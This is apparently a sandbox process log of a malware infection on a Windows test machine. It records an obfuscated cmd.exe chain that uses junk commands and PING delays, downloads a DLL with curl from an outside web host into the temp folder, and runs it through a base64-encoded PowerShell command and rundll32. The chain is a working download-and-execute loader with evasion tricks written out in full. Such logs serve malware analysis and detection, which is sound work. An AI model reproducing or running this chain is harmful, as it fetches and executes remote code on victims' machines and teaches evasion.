cmd.exe "C:\Windows\System32\cmd.exe" /c xpeDXI || zjfbs15 || PinG -n 2 shU6Dh || PinG vxDxO || ecHo qN0pk & cUrL https://smithroses.com/wcnMU8/Nonco -o %TMp%\diagonallyLanthania.dll & PinG -n 3 vxDxO || ecHo diagonallyLanthania & pOWeRSheLl -encodedcommand cgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABkAGkAYQBnAG8AbgBhAGwAbAB5AEwAYQBuAHQAaABhAG4AaQBhAC4AZABsAGwALAAgAFQAaAByAG8AdwA= & exit
2292PING.EXE PinG -n 2 shU6Dh
2404PING.EXE PinG vxDxO
2444curl.exe cUrL https://smithroses.com/wcnMU8/Nonco -o C:\Users\test22\AppData\Local\Temp\diagonallyLanthania.dll
1624PING.EXE PinG -n 3 vxDxO
1600powershell.exe pOWeRSheLl -encodedcommand cgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABkAGkAYQBnAG8AbgBhAGwAbAB5AEwAYQBuAHQAaABhAG4AaQBhAC4AZABsAGwALAAgAFQAaAByAG8AdwA=
2772rundll32.exe "C:\Windows\system32\rundll32.exe" C:\Users\test22\AppData\Local\Temp\diagonallyLanthania.dll Throw
3056